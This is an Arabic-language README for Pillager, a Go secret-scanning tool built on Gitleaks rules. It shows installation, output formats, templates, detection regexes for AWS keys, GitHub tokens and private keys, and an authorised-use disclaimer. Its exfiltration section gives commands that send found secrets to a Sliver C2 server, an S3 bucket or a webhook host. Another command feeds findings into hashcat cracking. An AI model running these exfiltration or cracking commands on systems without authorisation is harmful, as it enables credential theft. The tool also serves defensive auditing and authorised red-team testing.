Pillager

قم بنبش أنظمة الملفات للحصول على معلومات حساسة باستخدام Go.

جدول المحتويات

1. الملخص
2. التثبيت
3. الاستخدام
4. التسريب
5. التوثيق

الملخص

تم تصميم Pillager لتوفير وسيلة بسيطة للاستفادة من نموذج التزامن القوي بلغة Go للبحث بشكل متكرر عن المعلومات الحساسة في الملفات داخل الدلائل. يقوم Pillager بذلك بالوقوف على أكتاف عدد قليل من العمالقة. بمجرد أن يجد Pillager ملفات تطابق النمط المحدد، يتم فحص الملف باستخدام سلسلة من العمال المتزامنين، كل منهم يأخذ سطرًا من الملف من قائمة الانتظار ويبحث عن تطابقات الأنماط الحساسة. يمكن تعريف فلاتر الأنماط المتاحة في ملف pillager.toml أو يمكنك استخدام مجموعة القواعد الافتراضية.

التثبيت

Go

إذا كان Go مثبتًا على نظامك، يمكنك تثبيت Pillager باستخدام go install

go install github.com/brittonhayes/pillager@latest

Scoop (ويندوز)

scoop bucket add pillager https://github.com/brittonhayes/pillager-scoop.git
scoop install pillager

Homebrew (ماك/لينكس)

brew tap brittonhayes/homebrew-pillager
brew install pillager

صورة دوكر

docker run --rm -it ghcr.io/brittonhayes/pillager:latest hunt .

إذا كنت تبحث عن ملف ثنائي، تحقق من أحدث الإصدارات للحصول على الملف القابل للتنفيذ الذي يتوافق مع نظامك.

الاستخدام

لعرض جميع الأوامر المتاحة مع pillager

# لرؤية تعليمات التطبيق بالكامل
pillager

# من أي أمر فرعي
pillager [cmd] --help

واجهة المستخدم

يوفر Pillager واجهة مستخدم طرفية مبنية باستخدام bubbletea إذا كنت ترغب في فحص الأسرار بشكل تفاعلي.

التسريب

أرسل الأسرار المكتشفة إلى وجهات بعيدة: Sliver C2 (مخازن الغنائم/بيانات الاعتماد)، S3/MinIO (تخزين سحابي)، أو Webhooks (نقاط نهاية HTTP مخصصة).

# Sliver C2 - إرسال إلى خادم الفريق مع تحليل بيانات الاعتماد
pillager hunt /target --exfil sliver \
  --sliver-config ~/.sliver-client/configs/operator.cfg

# S3/MinIO - رفع مع تشفير
pillager hunt /target --exfil s3 \
  --s3-bucket red-team-findings \
  --s3-endpoint https://minio.internal:9000 \
  --exfil-encrypt env:EXFIL_KEY

# Webhook - POST إلى نقطة نهاية مخصصة
pillager hunt /target --exfil webhook \
  --webhook-url https://your-server.com/findings \
  --webhook-header "Authorization: Bearer token"

الأمان: تشفير AES-256-GCM (--exfil-encrypt)، TLS افتراضيًا، بيانات تعريف تلقائية (اسم المضيف، الطابع الزمني)

الإعدادات

قواعد Gitleaks

يوفر Pillager دعمًا كاملاً لقواعد Gitleaks¹. يمكن تمرير ذلك إما بقسم rules² في ملف pillager.toml الخاص بك، أو يمكنك استخدام مجموعة القواعد الافتراضية بترك علامة التهيئة فارغة.

# pillager.toml
# Basic configuration
verbose = false 
redact = false 

# Rules for secret detection
[[rules]]
description = "AWS Access Key"
id = "aws-access-key"
regex = '''(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'''
tags = ["aws", "credentials"]

[[rules]]
description = "AWS Secret Key"
id = "aws-secret-key"
regex = '''(?i)aws(.{0,20})?(?-i)['\"][0-9a-zA-Z\/+]{40}['\"]'''
tags = ["aws", "credentials"]

[[rules]]
description = "GitHub Token"
id = "github-token"
regex = '''ghp_[0-9a-zA-Z]{36}'''
tags = ["github", "token"]

[[rules]]
description = "Private Key"
id = "private-key"
regex = '''-----BEGIN (?:RSA|OPENSSH|DSA|EC|PGP) PRIVATE KEY( BLOCK)?-----'''
tags = ["key", "private"]

# Allowlist configuration
[allowlist]
paths = [
    ".*/_test\\.go$",
    ".*/testdata/.*",
    ".*\\.md$",
    ".*/vendor/.*"
]
regexes = [
    "EXAMPLE_KEY",
    "DUMMY_SECRET"
] 

صيغ الإخراج المدمجة

لدى Pillager سلسلة من صيغ الإخراج المدمجة المتاحة. اختر ما يناسبك!

أساسي

pillager hunt .

JSON

pillager hunt ./example -f json | jq

تم تصميم إخراج JSON ليعمل بسلاسة مع الأداة الرائعة jq لسهولة التحليل.

قائمة الكلمات

# Use pillager to generate a new-line delimited wordlist from findings
pillager hunt . -f wordlist 

# Use pillager to append a wordlist and then use your favorite hashcat attack mode
pillager hunt ./ -f wordlist >> rockyou.txt && hashcat -a 0 hash.txt rockyou.txt

pillager hunt . -f json-pretty

pillager hunt . -f html > results.html

pillager hunt . -f markdown > results.md

pillager hunt . -f csv > results.csv

pillager hunt . --template "{{ range .}}Secret: {{.Secret}}{{end}}"

pillager hunt . -t "$(cat mytemplate.tmpl)"

القوالب المخصصة

يسمح لك Pillager باستخدام دوال go text/template القوية و sprig لتخصيص صيغة الإخراج. إليك بعض الأمثلة على القوالب.

أساسي

{{ range . -}}
    File: {{ .File }}
    Secret: {{ .Secret}}
    Description: {{ quote .Description }}
{{ end -}}

تنسيق ماركداون

# Results

{{ range . -}}
    ## {{ .File }}
    - Location: {{.StartLine}}
{{end}}

يمكن العثور على المزيد من أمثلة القوالب في دليل templates.

التوثيق

وثائق GoDoc متاحة على pkg.go.dev لـ Pillager.

التطوير

للمشاركة في تطوير الميزات والإصلاحات لـ Pillager، ابدأ بما يلي:

• تثبيت Go
• تثبيت Taskfile.dev
• قراءة CONTRIBUTING.MD

على أكتاف العمالقة ⭐

spf13's Cobra

ما هو Cobra؟

Cobra هي مكتبة توفر واجهة بسيطة لإنشاء واجهات سطر أوامر حديثة قوية مشابهة لأدوات git و go. Cobra هو أيضًا تطبيق سيقوم بإنشاء هيكل تطبيقك لتطوير تطبيق قائم على Cobra بسرعة.

إذا رأيت واجهة سطر أوامر مكتوبة بلغة Go من قبل، فهناك احتمال كبير أنها بُنيت باستخدام Cobra. لا يمكنني التوصية بهذه المكتبة بما فيه الكفاية. إنها تمكن المطورين من إنشاء أدوات سطر أوامر متسقة وديناميكية وموثقة ذاتيًا بسهولة. بعض الأمثلة تشمل kubectl و hugo وواجهة gh الخاصة بـ Github.

Gitleaks

ما هو Gitleaks؟

Gitleaks¹ هي أداة SAST للكشف عن الأسرار المشفرة مثل كلمات المرور ومفاتيح API والرموز في مستودعات git.

Gitleaks هي أداة رائعة للوقاية من تسرب الأسرار. إذا لم تقم بتطبيق Gitleaks كمدقق قبل الالتزام، فإن الأمر يستحق وقتك للاطلاع عليه.

لماذا Gitleaks ذات صلة بـ Pillager؟

ينفذ Pillager وظيفة القواعد² القوية لـ Gitleaks بينما يتبع نهجًا مختلفًا في عرض ومعالجة الأسرار الموجودة. بينما قمت بتوفير مجموعة أساسية من القواعد الافتراضية، يصبح Pillager أكثر قوة إذا سمحت للمستخدمين بإنشاء قواعد لحالات الاستخدام الخاصة بهم.

تحقق من القواعد المضمنة² للحصول على مجموعة قواعد أساسية.

من البديهي أن أقول ذلك ولكنني سأقوله على أي حال: أنا لست مسؤولاً عن أي عواقب ناتجة عن استخدامك لـ Pillager. هذه الأداة مخصصة للاستخدام الدفاعي، والاستخدام التعليمي، واستخدام باحثي الأمن بموافقة جميع الأطراف المعنية. لا يتم التغاضي عن السلوك الضار باستخدام Pillager بأي شكل من الأشكال، ولا يتم تشجيعه. يرجى استخدام هذه الأداة بمسؤولية والتأكد من حصولك على إذن لفحص الأسرار على أي أنظمة قبل القيام بذلك.

في جوهرها، تم تصميم Pillager لمساعدتك في تحديد ما إذا كان النظام متأثرًا بمصادر شائعة لتسرب بيانات الاعتماد كما هو موثق في إطار MITRE ATT&CK³.

تقنية MITRE ATT&CK - T1552,003 - بيانات الاعتماد غير المحمية: Bash History

تقنية MITRE ATT&CK - T1552,001 - بيانات الاعتماد غير المحمية: بيانات الاعتماد في الملفات